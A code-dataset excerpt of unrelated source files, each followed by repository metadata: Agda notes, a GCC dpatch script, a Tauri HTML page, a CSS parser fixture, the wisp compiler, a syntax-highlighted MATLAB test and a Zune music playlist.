We set the precedence of disjunction so that it binds less tightly than
inequality.
\begin{code}
infixr 1 _⊎_
\end{code}
Thus, `m ≤ n ⊎ n ≤ m` parses as `(m ≤ n) ⊎ (n ≤ m)`.
------------------------------------------------------------------------
I, along with many others, am a fan of Peirce's [Types and Programming
Languages][tapl], known by the acronym TAPL. One of my best students
started writing his own systems with no help from me, trained by that
book.
------------------------------------------------------------------------
\begin{code}
postulate
extensionality : ∀ {A B : Set} → {f g : A → B} → (∀ (x : A) → f x ≡ g x) → f ≡ g
extensionality2 : ∀ {A B C : Set} → {f g : A → B → C} → (∀ (x : A) (y : B) → f x y ≡ g x y) → f ≡ g
extensionality2 fxy≡gxy = extensionality (λ x → extensionality (λ y → fxy≡gxy x y))
\end{code}
------------------------------------------------------------------------
Inference
Confirm for the resulting type rules that inputs of the conclusion
(and output of any preceding hypothesis) determine inputs of each
hypothesis, and outputs of the hypotheses determine the output of the
conclusion.
------------------------------------------------------------------------
| Literate Agda | 5 | manikdv/plfa.github.io | extra/extra/Extra.lagda | [
"CC-BY-4.0"
] |
#! /bin/sh -e
# DP: GPC updates for GCC 4.1.2
dir=gcc/
if [ $# -eq 3 -a "$2" = '-d' ]; then
pdir="-d $3/gcc"
dir="$3/gcc/"
elif [ $# -ne 1 ]; then
echo >&2 "`basename $0`: script expects -patch|-unpatch as argument"
exit 1
fi
case "$1" in
-patch)
patch $pdir -f --no-backup-if-mismatch -p1 < $0
#cd ${dir}gcc && autoconf
;;
-unpatch)
patch $pdir -f --no-backup-if-mismatch -R -p1 < $0
#rm ${dir}gcc/configure
;;
*)
echo >&2 "`basename $0`: script expects -patch|-unpatch as argument"
exit 1
esac
exit 0
Not yet available for GCC-4.3
| Darcs Patch | 4 | JrCs/opendreambox | recipes/gcc/gcc-4.3.4/debian/gpc-4.1.dpatch | [
"MIT"
] |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Tauri</title>
</head>
<body>
<h1>index.html</h1>
<select id="route">
<option value="secondary.html">secondary.html</option>
<option value="nested/index.html">nested/index.html</option>
<option value="nested/secondary.html">nested/secondary.html</option>
</select>
<button id="open-window">New window</button>
<button id="go">Go</button>
<a id="link" href="secondary.html">Go</a>
<script src="index.js"></script>
</body>
</html>
| HTML | 3 | facklambda/tauri | examples/navigation/public/index.html | [
"Apache-2.0",
"MIT"
] |
a { value: x\2c() } | CSS | 0 | vjpr/swc | css/parser/tests/fixture/esbuild/misc/AVaQlt9z0lhJC6bHHDPVeA/input.css | [
"Apache-2.0",
"MIT"
] |
(ns wisp.compiler
(:require [wisp.analyzer :refer [analyze]]
[wisp.reader :refer [read* read push-back-reader]]
[wisp.string :refer [replace]]
[wisp.sequence :refer [map conj cons vec first rest empty? count]]
[wisp.runtime :refer [error?]]
[wisp.ast :refer [name]]
[wisp.backend.escodegen.generator :refer [generate]
:rename {generate generate-js}]
[base64-encode :as btoa]))
(def generate generate-js)
(defn read-form
[reader eof]
(try (read reader false eof false)
(catch error error)))
(defn read-forms
[source uri]
(let [reader (push-back-reader source uri)
eof {}]
(loop [forms []
form (read-form reader eof)]
(cond (error? form) {:forms forms :error form}
(identical? form eof) {:forms forms}
:else (recur (conj forms form)
(read-form reader eof))))))
(defn analyze-form
[form]
(try (analyze form) (catch error error)))
(defn analyze-forms
[forms]
(loop [nodes []
forms forms]
(let [node (analyze-form (first forms))]
(cond (error? node) {:ast nodes :error node}
(<= (count forms) 1) {:ast (conj nodes node)}
:else (recur (conj nodes node) (rest forms))))))
(defn compile
"Compiler takes wisp code in form of string and returns a hash
containing `:source` representing compilation result. If
`(:source-map options)` is `true` then `:source-map` of the returned
hash will contain source map for it.
:output-uri
:source-map-uri
Returns hash with following fields:
:code - Generated code.
:source-map - Generated source map. Only if (:source-map options)
was true.
:output-uri - Returns back (:output-uri options) if was passed in,
otherwise computes one from (:source-uri options) by
changing file extension.
:source-map-uri - Returns back (:source-map-uri options) if was passed
in, otherwise computes one from (:source-uri options)
by adding `.map` file extension."
([source] (compile source {}))
([source options]
(let [source-uri (or (:source-uri options) (name :anonymous.wisp)) ;; HACK: Workaround for segfault #6691
forms (read-forms source source-uri)
ast (if (:error forms)
forms
(analyze-forms (:forms forms)))
output (if (:error ast)
ast
(try ;; TODO: Remove this
;; Old compiler has incorrect apply.
(apply generate (vec (cons (conj options
{:source source
:source-uri source-uri})
(:ast ast))))
(catch error {:error error})))
result {:source-uri source-uri
:ast (:ast ast)
:forms (:forms forms)}]
(conj options output result))))
(defn evaluate
[source]
(let [output (compile source)]
(if (:error output)
(throw (:error output))
(eval (:code output)))))
| wisp | 5 | bamboo/wisp | src/compiler.wisp | [
"BSD-3-Clause"
] |
[38;2;249;38;114mfunction[0m[38;2;248;248;242m zz[0m[38;2;249;38;114m=[0m[38;2;166;226;46msample[0m[38;2;248;248;242m([0m[3;38;2;253;151;31maa[0m[38;2;248;248;242m)[0m
[38;2;117;113;94m%%[0m[38;2;117;113;94m%%%%%%%%%%%%%%%%[0m
[38;2;117;113;94m%[0m[38;2;117;113;94m some comments[0m
[38;2;117;113;94m%%[0m[38;2;117;113;94m%%%%%%%%%%%%%%%%[0m
[38;2;248;248;242mx[0m[38;2;249;38;114m = [0m[38;2;230;219;116m'[0m[38;2;230;219;116ma string[0m[38;2;230;219;116m'[0m[38;2;248;248;242m; [0m[38;2;117;113;94m%[0m[38;2;117;113;94m some 'ticks' in a comment[0m
[38;2;248;248;242my[0m[38;2;249;38;114m = [0m[38;2;230;219;116m'[0m[38;2;230;219;116ma string with [0m[38;2;190;132;255m''[0m[38;2;230;219;116minteral[0m[38;2;190;132;255m''[0m[38;2;230;219;116m quotes[0m[38;2;230;219;116m'[0m[38;2;248;248;242m;[0m
[38;2;249;38;114mfor[0m[38;2;248;248;242m [0m[38;2;190;132;255mi[0m[38;2;249;38;114m=[0m[38;2;190;132;255m1[0m[38;2;249;38;114m:[0m[38;2;190;132;255m20[0m
[38;2;248;248;242m [0m[38;2;249;38;114mdisp[0m[38;2;248;248;242m([0m[38;2;190;132;255mi[0m[38;2;248;248;242m)[0m[38;2;248;248;242m;[0m
[38;2;249;38;114mend[0m
[38;2;248;248;242ma[0m[38;2;249;38;114m = [0m[38;2;249;38;114mrand[0m[38;2;248;248;242m([0m[38;2;190;132;255m30[0m[38;2;248;248;242m)[0m[38;2;248;248;242m;[0m
[38;2;248;248;242mb[0m[38;2;249;38;114m = [0m[38;2;249;38;114mrand[0m[38;2;248;248;242m([0m[38;2;190;132;255m30[0m[38;2;248;248;242m)[0m[38;2;248;248;242m;[0m
[38;2;248;248;242mc[0m[38;2;249;38;114m = [0m[38;2;248;248;242ma[0m[38;2;249;38;114m .* [0m[38;2;248;248;242mb[0m[38;2;249;38;114m ./ [0m[38;2;248;248;242ma[0m[38;2;249;38;114m \ [0m[38;2;248;248;242m... [0m[38;2;248;248;242mcomment[0m[38;2;248;248;242m [0m[38;2;248;248;242mat[0m[38;2;248;248;242m [0m[38;2;249;38;114mend[0m[38;2;248;248;242m [0m[38;2;248;248;242mof[0m[38;2;248;248;242m [0m[38;2;102;217;239mline[0m[38;2;248;248;242m [0m[38;2;249;38;114mand[0m[38;2;248;248;242m [0m[38;2;248;248;242mcontinuation[0m
[38;2;248;248;242m [0m[38;2;248;248;242m([0m[38;2;248;248;242mb[0m[38;2;249;38;114m .* [0m[38;2;248;248;242ma[0m[38;2;249;38;114m + [0m[38;2;248;248;242mb[0m[38;2;249;38;114m - [0m[38;2;248;248;242ma[0m[38;2;248;248;242m)[0m[38;2;248;248;242m;[0m
[38;2;248;248;242mc[0m[38;2;249;38;114m = [0m[38;2;248;248;242ma[0m[38;2;249;38;114m'[0m[38;2;249;38;114m * [0m[38;2;248;248;242mb[0m[38;2;249;38;114m'[0m[38;2;248;248;242m; [0m[38;2;117;113;94m%[0m[38;2;117;113;94m note: these ticks are for transpose, not quotes.[0m
[38;2;249;38;114mdisp[0m[38;2;248;248;242m([0m[38;2;230;219;116m'[0m[38;2;230;219;116ma comment symbol, %, in a string[0m[38;2;230;219;116m'[0m[38;2;248;248;242m)[0m[38;2;248;248;242m;[0m
[38;2;249;38;114m!echo abc % this isn't a comment - it's passed to system command[0m
[38;2;249;38;114mfunction[0m[38;2;248;248;242m y[0m[38;2;249;38;114m=[0m[38;2;166;226;46mmyfunc[0m[38;2;248;248;242m([0m[3;38;2;253;151;31mx[0m[38;2;248;248;242m)[0m
[38;2;248;248;242my[0m[38;2;249;38;114m = [0m[38;2;249;38;114mexp[0m[38;2;248;248;242m([0m[38;2;248;248;242mx[0m[38;2;248;248;242m)[0m[38;2;248;248;242m;[0m
[38;2;117;113;94m%{[0m
[38;2;117;113;94m a block comment[0m
[38;2;117;113;94m%}[0m
[38;2;249;38;114mfunction[0m[38;2;248;248;242m [0m[38;2;166;226;46mno_arg_func[0m
[38;2;249;38;114mfprintf[0m[38;2;248;248;242m([0m[38;2;230;219;116m'[0m[38;2;190;132;255m%s[0m[38;2;190;132;255m\n[0m[38;2;230;219;116m'[0m[38;2;248;248;242m, [0m[38;2;230;219;116m'[0m[38;2;230;219;116mfunction with no args[0m[38;2;230;219;116m'[0m[38;2;248;248;242m)[0m
[38;2;249;38;114mend[0m
| Matlab | 4 | JesseVermeulen123/bat | tests/syntax-tests/highlighted/MATLAB/test.matlab | [
"Apache-2.0",
"MIT"
] |
<?zpl version="2.0"?><smil>
<head>
<meta name="generator" content="Zune -- 2.5.447.0" />
<meta name="itemCount" content="172" />
<meta name="totalDuration" content="41412928" />
<meta name="averageRating" content="6" />
<title>2005 Music</title>
<guid>{E1D551A2-869D-43AB-B203-8669FD98E08C}</guid>
<meta name="creatorId" content="{2B86B47C-5302-0119-2982-A1676DAB3DF4}" />
</head>
<body>
<seq>
<media src="C:\Users\Public\Music\The Fray\How to Save a Life\07 Look After You.wma" serviceId="{471B4F00-0100-11DB-89CA-0019B92A3933}" albumTitle="How to Save a Life" albumArtist="The Fray" trackTitle="Look After You" trackArtist="The Fray" duration="268839" />
<media src="C:\Users\Public\Music\Black Eyed Peas\Monkey Business\07 Dum Diddly.wma" serviceId="{DDD33C00-0100-11DB-89CA-0019B92A3933}" albumTitle="Monkey Business" albumArtist="Black Eyed Peas" trackTitle="Dum Diddly" trackArtist="Black Eyed Peas" duration="259453" />
<media src="C:\Users\Public\Music\Slightly Stoopid\Closer to the Sun Disc 1\18 Zeplike.wma" serviceId="{4BD87400-0500-11DB-89CA-0019B92A3933}" albumTitle="Closer to the Sun Disc 1" albumArtist="Slightly Stoopid" trackTitle="Zeplike" trackArtist="Slightly Stoopid" duration="214132" />
<media src="C:\Users\Public\Music\Thievery Corporation\The Cosmic Game\15 The Time We Lost Our Way.wma" serviceId="{9D9F3500-0100-11DB-89CA-0019B92A3933}" albumTitle="The Cosmic Game" albumArtist="Thievery Corporation" trackTitle="The Time We Lost Our Way" trackArtist="Loulou Djine" duration="251706" />
<media src="C:\Users\Public\Music\Beck\Guero\13 Emergency Exit.wma" serviceId="{99BB3700-0100-11DB-89CA-0019B92A3933}" albumTitle="Guero" albumArtist="Beck" trackTitle="Emergency Exit" trackArtist="Beck" duration="241693" />
<media src="C:\Users\Public\Music\Coldplay\X&Y\08 A Message.wma" serviceId="{E3AB3C00-0100-11DB-89CA-0019B92A3933}" albumTitle="X&Y" albumArtist="Coldplay" trackTitle="A Message" trackArtist="Coldplay" duration="285305" />
<media src="C:\Users\Public\Music\Death Cab for Cutie\Plans\05 I Will Follow You into the Dark.wma" serviceId="{8F9F4C00-0100-11DB-89CA-0019B92A3933}" albumTitle="Plans" albumArtist="Death Cab for Cutie" trackTitle="I Will Follow You into the Dark" trackArtist="Death Cab for Cutie" duration="189399" />
<media src="C:\Users\Public\Music\Black Eyed Peas\Monkey Business\01 Pump It.wma" serviceId="{C9D33C00-0100-11DB-89CA-0019B92A3933}" albumTitle="Monkey Business" albumArtist="Black Eyed Peas" trackTitle="Pump It" trackArtist="Black Eyed Peas" duration="213066" />
<media src="C:\Users\Public\Music\Black Eyed Peas\Monkey Business\06 Like That.wma" serviceId="{D9D33C00-0100-11DB-89CA-0019B92A3933}" albumTitle="Monkey Business" albumArtist="Black Eyed Peas" trackTitle="Like That" trackArtist="Black Eyed Peas" duration="274733" />
<media src="C:\Users\Public\Music\Jack Johnson\In Between Dreams\05 No Other Way.wma" serviceId="{0B0C3600-0100-11DB-89CA-0019B92A3933}" albumTitle="In Between Dreams" albumArtist="Jack Johnson" trackTitle="No Other Way" trackArtist="Jack Johnson" duration="189586" />
<media src="C:\Users\Public\Music\Matisyahu\Live at Stubb's\08 Fire and Heights.wma" serviceId="{7F064A00-0100-11DB-89CA-0019B92A3933}" albumTitle="Live at Stubb's" albumArtist="Matisyahu" trackTitle="Fire and Heights" trackArtist="Matisyahu" duration="260160" />
<media src="C:\Users\Public\Music\Thievery Corporation\The Cosmic Game\06 Amerimacka.wma" serviceId="{8B9F3500-0100-11DB-89CA-0019B92A3933}" albumTitle="The Cosmic Game" albumArtist="Thievery Corporation" trackTitle="Amerimacka" trackArtist="Notch" duration="341506" />
<media src="C:\Users\Public\Music\Jack Johnson\In Between Dreams\11 Breakdown.wma" serviceId="{170C3600-0100-11DB-89CA-0019B92A3933}" albumTitle="In Between Dreams" albumArtist="Jack Johnson" trackTitle="Breakdown" trackArtist="Jack Johnson" duration="212706" />
<media src="C:\Users\Public\Music\Jack Johnson\In Between Dreams\09 Crying Shame.wma" serviceId="{130C3600-0100-11DB-89CA-0019B92A3933}" albumTitle="In Between Dreams" albumArtist="Jack Johnson" trackTitle="Crying Shame" trackArtist="Jack Johnson" duration="186080" />
<media src="C:\Users\Public\Music\Slightly Stoopid\Closer to the Sun Disc 1\14 Righteous Man.wma" serviceId="{47D87400-0500-11DB-89CA-0019B92A3933}" albumTitle="Closer to the Sun Disc 1" albumArtist="Slightly Stoopid" trackTitle="Righteous Man" trackArtist="Slightly Stoopid" duration="155612" />
<media src="C:\Users\Public\Music\Thievery Corporation\The Cosmic Game\13 Wires and Watchtowers.wma" serviceId="{999F3500-0100-11DB-89CA-0019B92A3933}" albumTitle="The Cosmic Game" albumArtist="Thievery Corporation" trackTitle="Wires and Watchtowers" trackArtist="Sista Pat" duration="259239" />
<media src="C:\Users\Public\Music\Slightly Stoopid\Closer to the Sun Disc 1\19 Comb 4 My Dome.wma" serviceId="{4CD87400-0500-11DB-89CA-0019B92A3933}" albumTitle="Closer to the Sun Disc 1" albumArtist="Slightly Stoopid" trackTitle="Comb 4 My Dome" trackArtist="Slightly Stoopid" duration="89719" />
<media src="C:\Users\Public\Music\Coldplay\X&Y\07 Speed of Sound.wma" serviceId="{E1AB3C00-0100-11DB-89CA-0019B92A3933}" albumTitle="X&Y" albumArtist="Coldplay" trackTitle="Speed of Sound" trackArtist="Coldplay" duration="288440" />
<media src="C:\Users\Public\Music\Thievery Corporation\The Cosmic Game\11 Holographic Universe.wma" serviceId="{959F3500-0100-11DB-89CA-0019B92A3933}" albumTitle="The Cosmic Game" albumArtist="Thievery Corporation" trackTitle="Holographic Universe" trackArtist="Thievery Corporation" duration="222026" />
<media src="C:\Users\Public\Music\Coldplay\X&Y\01 Square One.wma" serviceId="{D5AB3C00-0100-11DB-89CA-0019B92A3933}" albumTitle="X&Y" albumArtist="Coldplay" trackTitle="Square One" trackArtist="Coldplay" duration="287386" />
<media src="C:\Users\Public\Music\Mike Doughty\Haughty Melodic\01 Looking at the World from the Bottom of a Well.wma" serviceId="{0B4A3900-0100-11DB-89CA-0019B92A3933}" albumTitle="Haughty Melodic" albumArtist="Mike Doughty" trackTitle="Looking at the World from the Bottom of a Well" trackArtist="Mike Doughty" duration="239399" />
<media src="C:\Users\Public\Music\Thievery Corporation\The Cosmic Game\14 The Supreme Illusion.wma" serviceId="{9B9F3500-0100-11DB-89CA-0019B92A3933}" albumTitle="The Cosmic Game" albumArtist="Thievery Corporation" trackTitle="The Supreme Illusion" trackArtist="Gunjan" duration="250226" />
<media src="C:\Users\Public\Music\Thievery Corporation\The Cosmic Game\03 Revolution Solution.wma" serviceId="{859F3500-0100-11DB-89CA-0019B92A3933}" albumTitle="The Cosmic Game" albumArtist="Thievery Corporation" trackTitle="Revolution Solution" trackArtist="Perry Farrell" duration="221506" />
<media src="C:\Users\Public\Music\Jack's Mannequin\Everything in Transit\09 Rescued.wma" serviceId="{F9014D00-0100-11DB-89CA-0019B92A3933}" albumTitle="Everything in Transit" albumArtist="Jack's Mannequin" trackTitle="Rescued" trackArtist="Jack's Mannequin" duration="235682" />
<media src="C:\Users\Public\Music\Slightly Stoopid\Closer to the Sun Disc 1\01 Intro.wma" serviceId="{3AD87400-0500-11DB-89CA-0019B92A3933}" albumTitle="Closer to the Sun Disc 1" albumArtist="Slightly Stoopid" trackTitle="Intro" trackArtist="Slightly Stoopid" duration="77879" />
<media src="C:\Users\Public\Music\Jack Johnson\In Between Dreams\12 Belle.wma" serviceId="{190C3600-0100-11DB-89CA-0019B92A3933}" albumTitle="In Between Dreams" albumArtist="Jack Johnson" trackTitle="Belle" trackArtist="Jack Johnson" duration="102946" />
<media src="C:\Users\Public\Music\The Chemical Brothers\Push the Button\11 Surface To Air.wma" serviceId="{2FDA3300-0100-11DB-89CA-0019B92A3933}" albumTitle="Push the Button" albumArtist="The Chemical Brothers" trackTitle="Surface To Air" trackArtist="The Chemical Brothers" duration="443213" />
<media src="C:\Users\Public\Music\Jack's Mannequin\Everything in Transit\05 La la Lie.wma" serviceId="{07024D00-0100-11DB-89CA-0019B92A3933}" albumTitle="Everything in Transit" albumArtist="Jack's Mannequin" trackTitle="La la Lie" trackArtist="Jack's Mannequin" duration="235031" />
<media src="C:\Users\Public\Music\Thievery Corporation\The Cosmic Game\01 Marching the Hate Machines (Into the Sun).wma" serviceId="{819F3500-0100-11DB-89CA-0019B92A3933}" albumTitle="The Cosmic Game" albumArtist="Thievery Corporation" trackTitle="Marching the Hate Machines (Into the Sun)" trackArtist="The Flaming Lips" duration="241199" />
<media src="C:\Users\Public\Music\Thievery Corporation\The Cosmic Game\10 The Heart's a Lonely Hunter.wma" serviceId="{939F3500-0100-11DB-89CA-0019B92A3933}" albumTitle="The Cosmic Game" albumArtist="Thievery Corporation" trackTitle="The Heart's a Lonely Hunter" trackArtist="David Byrne" duration="243840" />
<media src="C:\Users\Public\Music\James Blunt\Back to Bedlam\10 No Bravery.wma" serviceId="{23FE5000-0100-11DB-89CA-0019B92A3933}" albumTitle="Back to Bedlam" albumArtist="James Blunt" trackTitle="No Bravery" trackArtist="James Blunt" duration="241666" />
<media src="C:\Users\Public\Music\Mike Doughty\Haughty Melodic\03 Madeline and Nine.wma" serviceId="{0F4A3900-0100-11DB-89CA-0019B92A3933}" albumTitle="Haughty Melodic" albumArtist="Mike Doughty" trackTitle="Madeline and Nine" trackArtist="Mike Doughty" duration="183200" />
<media src="C:\Users\Public\Music\Jack Johnson\In Between Dreams\07 Staple It Together.wma" serviceId="{0F0C3600-0100-11DB-89CA-0019B92A3933}" albumTitle="In Between Dreams" albumArtist="Jack Johnson" trackTitle="Staple It Together" trackArtist="Jack Johnson" duration="196146" />
<media src="C:\Users\Public\Music\Matisyahu\Live at Stubb's\06 Aish Tamid.wma" serviceId="{7B064A00-0100-11DB-89CA-0019B92A3933}" albumTitle="Live at Stubb's" albumArtist="Matisyahu" trackTitle="Aish Tamid" trackArtist="Matisyahu" duration="415346" />
<media src="C:\Users\Public\Music\Thievery Corporation\The Cosmic Game\16 A Gentle Dissolve.wma" serviceId="{9F9F3500-0100-11DB-89CA-0019B92A3933}" albumTitle="The Cosmic Game" albumArtist="Thievery Corporation" trackTitle="A Gentle Dissolve" trackArtist="Thievery Corporation" duration="169613" />
<media src="C:\Users\Public\Music\The Fray\How to Save a Life\09 Vienna.wma" serviceId="{4F1B4F00-0100-11DB-89CA-0019B92A3933}" albumTitle="How to Save a Life" albumArtist="The Fray" trackTitle="Vienna" trackArtist="The Fray" duration="231693" />
<media src="C:\Users\Public\Music\James Blunt\Back to Bedlam\02 You're Beautiful.wma" serviceId="{13FE5000-0100-11DB-89CA-0019B92A3933}" albumTitle="Back to Bedlam" albumArtist="James Blunt" trackTitle="You're Beautiful" trackArtist="James Blunt" duration="212906" />
<media src="C:\Users\Public\Music\The Fray\How to Save a Life\11 Little House.wma" serviceId="{571B4F00-0100-11DB-89CA-0019B92A3933}" albumTitle="How to Save a Life" albumArtist="The Fray" trackTitle="Little House" trackArtist="The Fray" duration="151799" />
<media src="C:\Users\Public\Music\Slightly Stoopid\Closer to the Sun Disc 1\08 This Joint.wma" serviceId="{41D87400-0500-11DB-89CA-0019B92A3933}" albumTitle="Closer to the Sun Disc 1" albumArtist="Slightly Stoopid" trackTitle="This Joint" trackArtist="Slightly Stoopid" duration="247719" />
<media src="C:\Users\Public\Music\Matisyahu\Live at Stubb's\10 Refuge.wma" serviceId="{83064A00-0100-11DB-89CA-0019B92A3933}" albumTitle="Live at Stubb's" albumArtist="Matisyahu" trackTitle="Refuge" trackArtist="Matisyahu" duration="242159" />
<media src="C:\Users\Public\Music\The Fray\How to Save a Life\06 Heaven Forbid.wma" serviceId="{431B4F00-0100-11DB-89CA-0019B92A3933}" albumTitle="How to Save a Life" albumArtist="The Fray" trackTitle="Heaven Forbid" trackArtist="The Fray" duration="241559" />
<media src="C:\Users\Public\Music\Coldplay\X&Y\04 Fix You.wma" serviceId="{DBAB3C00-0100-11DB-89CA-0019B92A3933}" albumTitle="X&Y" albumArtist="Coldplay" trackTitle="Fix You" trackArtist="Coldplay" duration="294986" />
<media src="C:\Users\Public\Music\Slightly Stoopid\Closer to the Sun Disc 1\10 Ain't Got a Lot of Money.wma" serviceId="{43D87400-0500-11DB-89CA-0019B92A3933}" albumTitle="Closer to the Sun Disc 1" albumArtist="Slightly Stoopid" trackTitle="Ain't Got a Lot of Money" trackArtist="Slightly Stoopid" duration="178813" />
<media src="C:\Users\Public\Music\Slightly Stoopid\Closer to the Sun Disc 1\05 Bandelero.wma" serviceId="{3ED87400-0500-11DB-89CA-0019B92A3933}" albumTitle="Closer to the Sun Disc 1" albumArtist="Slightly Stoopid" trackTitle="Bandelero" trackArtist="Slightly Stoopid" duration="166959" />
<media src="C:\Users\Public\Music\Beck\Guero\06 Earthquake Weather.wma" serviceId="{8BBB3700-0100-11DB-89CA-0019B92A3933}" albumTitle="Guero" albumArtist="Beck" trackTitle="Earthquake Weather" trackArtist="Beck" duration="266000" />
<media src="C:\Users\Public\Music\The Chemical Brothers\Push the Button\02 The Boxer.wma" serviceId="{1DDA3300-0100-11DB-89CA-0019B92A3933}" albumTitle="Push the Button" albumArtist="The Chemical Brothers" trackTitle="The Boxer" trackArtist="The Chemical Brothers" duration="248013" />
<media src="C:\Users\Public\Music\Coldplay\X&Y\03 White Shadows.wma" serviceId="{D9AB3C00-0100-11DB-89CA-0019B92A3933}" albumTitle="X&Y" albumArtist="Coldplay" trackTitle="White Shadows" trackArtist="Coldplay" duration="328159" />
<media src="C:\Users\Public\Music\Jack Johnson\In Between Dreams\13 Do You Remember.wma" serviceId="{1B0C3600-0100-11DB-89CA-0019B92A3933}" albumTitle="In Between Dreams" albumArtist="Jack Johnson" trackTitle="Do You Remember" trackArtist="Jack Johnson" duration="144506" />
<media src="C:\Users\Public\Music\Mike Doughty\Haughty Melodic\07 Tremendous Brunettes.wma" serviceId="{174A3900-0100-11DB-89CA-0019B92A3933}" albumTitle="Haughty Melodic" albumArtist="Mike Doughty" trackTitle="Tremendous Brunettes" trackArtist="Dave Matthews" duration="165732" />
<media src="C:\Users\Public\Music\Beck\Guero\05 Black Tambourine.wma" serviceId="{89BB3700-0100-11DB-89CA-0019B92A3933}" albumTitle="Guero" albumArtist="Beck" trackTitle="Black Tambourine" trackArtist="Beck" duration="166999" />
<media src="C:\Users\Public\Music\Black Eyed Peas\Monkey Business\15 Union.wma" serviceId="{EFD33C00-0100-11DB-89CA-0019B92A3933}" albumTitle="Monkey Business" albumArtist="Black Eyed Peas" trackTitle="Union" trackArtist="Black Eyed Peas" duration="304186" />
<media src="C:\Users\Public\Music\Slightly Stoopid\Closer to the Sun Disc 1\03 Somebody.wma" serviceId="{3CD87400-0500-11DB-89CA-0019B92A3933}" albumTitle="Closer to the Sun Disc 1" albumArtist="Slightly Stoopid" trackTitle="Somebody" trackArtist="Slightly Stoopid" duration="172173" />
<media src="C:\Users\Public\Music\The Fray\How to Save a Life\08 Hundred.wma" serviceId="{4B1B4F00-0100-11DB-89CA-0019B92A3933}" albumTitle="How to Save a Life" albumArtist="The Fray" trackTitle="Hundred" trackArtist="The Fray" duration="254266" />
<media src="C:\Users\Public\Music\Matisyahu\Live at Stubb's\04 Lord Raise Me Up.wma" serviceId="{77064A00-0100-11DB-89CA-0019B92A3933}" albumTitle="Live at Stubb's" albumArtist="Matisyahu" trackTitle="Lord Raise Me Up" trackArtist="Matisyahu" duration="232653" />
<media src="C:\Users\Public\Music\Slightly Stoopid\Closer to the Sun Disc 1\04 Fat Spliffs.wma" serviceId="{3DD87400-0500-11DB-89CA-0019B92A3933}" albumTitle="Closer to the Sun Disc 1" albumArtist="Slightly Stoopid" trackTitle="Fat Spliffs" trackArtist="Slightly Stoopid" duration="187919" />
<media src="C:\Users\Public\Music\Jack's Mannequin\Everything in Transit\10 MFEO- Made for Each Other-You Can Breathe.wma" serviceId="{FB014D00-0100-11DB-89CA-0019B92A3933}" albumTitle="Everything in Transit" albumArtist="Jack's Mannequin" trackTitle="MFEO: Made for Each Other/You Can Breathe" trackArtist="Jack's Mannequin" duration="481071" />
<media src="C:\Users\Public\Music\The Chemical Brothers\Push the Button\01 Galvanize.wma" serviceId="{1BDA3300-0100-11DB-89CA-0019B92A3933}" albumTitle="Push the Button" albumArtist="The Chemical Brothers" trackTitle="Galvanize" trackArtist="The Chemical Brothers" duration="393813" />
<media src="C:\Users\Public\Music\James Blunt\Back to Bedlam\07 So Long Jimmy.wma" serviceId="{1DFE5000-0100-11DB-89CA-0019B92A3933}" albumTitle="Back to Bedlam" albumArtist="James Blunt" trackTitle="So Long Jimmy" trackArtist="James Blunt" duration="264906" />
<media src="C:\Users\Public\Music\Thievery Corporation\The Cosmic Game\12 Doors of Perception.wma" serviceId="{979F3500-0100-11DB-89CA-0019B92A3933}" albumTitle="The Cosmic Game" albumArtist="Thievery Corporation" trackTitle="Doors of Perception" trackArtist="Gunjan" duration="196332" />
<media src="C:\Users\Public\Music\The Fray\How to Save a Life\10 Dead Wrong.wma" serviceId="{531B4F00-0100-11DB-89CA-0019B92A3933}" albumTitle="How to Save a Life" albumArtist="The Fray" trackTitle="Dead Wrong" trackArtist="The Fray" duration="186132" />
<media src="C:\Users\Public\Music\Death Cab for Cutie\Plans\09 What Sarah Said.wma" serviceId="{759F4C00-0100-11DB-89CA-0019B92A3933}" albumTitle="Plans" albumArtist="Death Cab for Cutie" trackTitle="What Sarah Said" trackArtist="Death Cab for Cutie" duration="380866" />
<media src="C:\Users\Public\Music\Slightly Stoopid\Closer to the Sun Disc 1\15 Up on a Plane.wma" serviceId="{48D87400-0500-11DB-89CA-0019B92A3933}" albumTitle="Closer to the Sun Disc 1" albumArtist="Slightly Stoopid" trackTitle="Up on a Plane" trackArtist="Slightly Stoopid" duration="180719" />
<media src="C:\Users\Public\Music\James Blunt\Back to Bedlam\08 Billy.wma" serviceId="{1FFE5000-0100-11DB-89CA-0019B92A3933}" albumTitle="Back to Bedlam" albumArtist="James Blunt" trackTitle="Billy" trackArtist="James Blunt" duration="217079" />
<media src="C:\Users\Public\Music\Thievery Corporation\The Cosmic Game\08 Pela Janela.wma" serviceId="{8F9F3500-0100-11DB-89CA-0019B92A3933}" albumTitle="The Cosmic Game" albumArtist="Thievery Corporation" trackTitle="Pela Janela" trackArtist="Gigi Rezende" duration="221493" />
<media src="C:\Users\Public\Music\Coldplay\X&Y\12 Twisted Logic.wma" serviceId="{EBAB3C00-0100-11DB-89CA-0019B92A3933}" albumTitle="X&Y" albumArtist="Coldplay" trackTitle="Twisted Logic" trackArtist="Coldplay" duration="301866" />
<media src="C:\Users\Public\Music\The Fray\How to Save a Life\05 Fall Away.wma" serviceId="{3F1B4F00-0100-11DB-89CA-0019B92A3933}" albumTitle="How to Save a Life" albumArtist="The Fray" trackTitle="Fall Away" trackArtist="The Fray" duration="263666" />
<media src="C:\Users\Public\Music\Beck\Guero\04 Missing.wma" serviceId="{87BB3700-0100-11DB-89CA-0019B92A3933}" albumTitle="Guero" albumArtist="Beck" trackTitle="Missing" trackArtist="Beck" duration="283799" />
<media src="C:\Users\Public\Music\Slightly Stoopid\Closer to the Sun Disc 1\17 Closer to the Sun.wma" serviceId="{4AD87400-0500-11DB-89CA-0019B92A3933}" albumTitle="Closer to the Sun Disc 1" albumArtist="Slightly Stoopid" trackTitle="Closer to the Sun" trackArtist="Slightly Stoopid" duration="145559" />
<media src="C:\Users\Public\Music\Slightly Stoopid\Closer to the Sun Disc 1\06 See It No Other Way.wma" serviceId="{3FD87400-0500-11DB-89CA-0019B92A3933}" albumTitle="Closer to the Sun Disc 1" albumArtist="Slightly Stoopid" trackTitle="See It No Other Way" trackArtist="Slightly Stoopid" duration="233840" />
<media src="C:\Users\Public\Music\Jack Johnson\In Between Dreams\03 Banana Pancakes.wma" serviceId="{070C3600-0100-11DB-89CA-0019B92A3933}" albumTitle="In Between Dreams" albumArtist="Jack Johnson" trackTitle="Banana Pancakes" trackArtist="Jack Johnson" duration="191906" />
